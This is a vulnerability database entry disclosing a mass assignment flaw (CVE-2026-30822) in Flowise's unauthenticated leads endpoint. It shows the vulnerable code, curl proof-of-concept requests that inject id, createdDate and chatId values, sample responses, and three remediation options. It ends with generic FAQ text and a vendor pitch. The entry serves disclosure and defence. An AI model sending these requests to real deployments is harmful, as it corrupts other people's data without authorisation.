Vulnerability Database

326,895

Total vulnerabilities in the database

CVE-2026-30822

Summary

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

| Field | Value | |-------|-------| | Vulnerability Type | Mass Assignment | | CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes | | Authentication Required | None | | Affected Endpoint | POST /api/v1/leads |


Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

// File: /packages/server/src/services/leads/index.ts // Lines 23-38 const createLead = async (body: Partial<ILead>) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() Object.assign(newLead, body) // ← VULNERABILITY: All properties copied! Object.assign(newLead, { chatId }) const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } }

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:

  • id - The primary key (should be auto-generated)
  • createdDate - The creation timestamp (should be auto-generated)
  • chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

// File: /packages/server/src/database/entities/Lead.ts @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') // Should be auto-generated! id: string @Column() name?: string @Column() email?: string @Column() phone?: string @Column() chatflowid: string @Column() chatId: string @CreateDateColumn() // Should be auto-generated! createdDate: Date }

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

// File: /packages/server/src/utils/constants.ts // Line 20 export const WHITELIST_URLS = [ // ... other endpoints ... '/api/v1/leads', // ← No authentication required // ... more endpoints ... ]

Proof of Concept

<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />

Prerequisites

  • Docker and Docker Compose installed
  • curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

services: flowise: image: flowiseai/flowise:latest restart: unless-stopped environment: - PORT=3000 - DATABASE_PATH=/root/.flowise - DATABASE_TYPE=sqlite - CORS_ORIGINS=* - DISABLE_FLOWISE_TELEMETRY=true ports: - &#039;3000:3000&#039; volumes: - flowise_data:/root/.flowise entrypoint: /bin/sh -c &quot;sleep 3; flowise start&quot; volumes: flowise_data:

Start the container:

docker compose up -d # Wait for Flowise to be ready (about 1-2 minutes) curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

curl -X POST http://localhost:3000/api/v1/leads \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{ &quot;chatflowid&quot;: &quot;normal-chatflow-123&quot;, &quot;name&quot;: &quot;Normal User&quot;, &quot;email&quot;: &quot;normal@example.com&quot;, &quot;phone&quot;: &quot;555-0000&quot; }&#039;

Expected Response (normal behavior):

{ &quot;id&quot;: &quot;018b23e3-d6cb-4dc5-a276-922a174b44fd&quot;, &quot;name&quot;: &quot;Normal User&quot;, &quot;email&quot;: &quot;normal@example.com&quot;, &quot;phone&quot;: &quot;555-0000&quot;, &quot;chatflowid&quot;: &quot;normal-chatflow-123&quot;, &quot;chatId&quot;: &quot;auto-generated-uuid&quot;, &quot;createdDate&quot;: &quot;2025-12-26T06:20:39.000Z&quot; }

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

curl -X POST http://localhost:3000/api/v1/leads \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{ &quot;chatflowid&quot;: &quot;attacker-chatflow-456&quot;, &quot;name&quot;: &quot;Attacker&quot;, &quot;email&quot;: &quot;attacker@evil.com&quot;, &quot;phone&quot;: &quot;555-EVIL&quot;, &quot;id&quot;: &quot;aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&quot; }&#039;

Actual Response (vulnerability confirmed):

{ &quot;id&quot;: &quot;aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&quot;, &quot;name&quot;: &quot;Attacker&quot;, &quot;email&quot;: &quot;attacker@evil.com&quot;, &quot;phone&quot;: &quot;555-EVIL&quot;, &quot;chatflowid&quot;: &quot;attacker-chatflow-456&quot;, &quot;chatId&quot;: &quot;auto-generated-uuid&quot;, &quot;createdDate&quot;: &quot;2025-12-26T06:20:40.000Z&quot; }

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

curl -X POST http://localhost:3000/api/v1/leads \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{ &quot;chatflowid&quot;: &quot;timestamp-test-789&quot;, &quot;name&quot;: &quot;Time Traveler&quot;, &quot;email&quot;: &quot;timetraveler@evil.com&quot;, &quot;createdDate&quot;: &quot;1970-01-01T00:00:00.000Z&quot; }&#039;

Actual Response (vulnerability confirmed):

{ &quot;id&quot;: &quot;some-auto-generated-uuid&quot;, &quot;name&quot;: &quot;Time Traveler&quot;, &quot;email&quot;: &quot;timetraveler@evil.com&quot;, &quot;chatflowid&quot;: &quot;timestamp-test-789&quot;, &quot;chatId&quot;: &quot;auto-generated-uuid&quot;, &quot;createdDate&quot;: &quot;1970-01-01T00:00:00.000Z&quot; }

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

curl -X POST http://localhost:3000/api/v1/leads \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{ &quot;chatflowid&quot;: &quot;any-chatflow-attacker-wants&quot;, &quot;name&quot;: &quot;Mass Assignment Attacker&quot;, &quot;email&quot;: &quot;massassign@evil.com&quot;, &quot;phone&quot;: &quot;555-HACK&quot;, &quot;id&quot;: &quot;11111111-2222-3333-4444-555555555555&quot;, &quot;createdDate&quot;: &quot;2000-01-01T12:00:00.000Z&quot;, &quot;chatId&quot;: &quot;custom-chat-id-injected&quot; }&#039;

Actual Response (vulnerability confirmed):

{ &quot;id&quot;: &quot;11111111-2222-3333-4444-555555555555&quot;, &quot;name&quot;: &quot;Mass Assignment Attacker&quot;, &quot;email&quot;: &quot;massassign@evil.com&quot;, &quot;phone&quot;: &quot;555-HACK&quot;, &quot;chatflowid&quot;: &quot;any-chatflow-attacker-wants&quot;, &quot;chatId&quot;: &quot;custom-chat-id-injected&quot;, &quot;createdDate&quot;: &quot;2000-01-01T12:00:00.000Z&quot; }

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because:

  1. ✅ HTTP 200 response (request accepted)
  2. id field contains attacker-controlled UUID
  3. createdDate field contains attacker-controlled timestamp
  4. chatId field contains attacker-controlled string
  5. ✅ No authentication headers were sent

Impact

Who is Affected?

  • All Flowise deployments that use the leads feature
  • Both open-source and enterprise versions
  • Any system that relies on lead data integrity

Attack Scenarios

| Scenario | Impact | |----------|--------| | ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts | | Audit Trail Manipulation | Attacker sets fake createdDate values to hide malicious activity or manipulate reporting | | Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled | | Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

  • Data integrity issues
  • Potential business logic bypasses
  • Audit/compliance concerns
  • Foundation for chained attacks

Only copy explicitly allowed fields from the request body:

const createLead = async (body: Partial&lt;ILead&gt;) =&gt; { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() // ✅ Only copy allowed fields const allowedFields = [&#039;chatflowid&#039;, &#039;name&#039;, &#039;email&#039;, &#039;phone&#039;] for (const field of allowedFields) { if (body[field] !== undefined) { newLead[field] = body[field] } } newLead.chatId = chatId // Let TypeORM auto-generate id and createdDate const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } }

Option 2: Use Destructuring with Explicit Fields

const createLead = async (body: Partial&lt;ILead&gt;) =&gt; { try { // ✅ Only extract allowed fields const { chatflowid, name, email, phone } = body const chatId = body.chatId ?? uuidv4() const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create({ chatflowid, name, email, phone, chatId // id and createdDate will be auto-generated }) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } }

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

import { Exclude } from &#039;class-transformer&#039; @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn(&#039;uuid&#039;) @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request id: string // ... other fields ... @CreateDateColumn() @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request createdDate: Date }

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:

  • /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)

Resources


CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.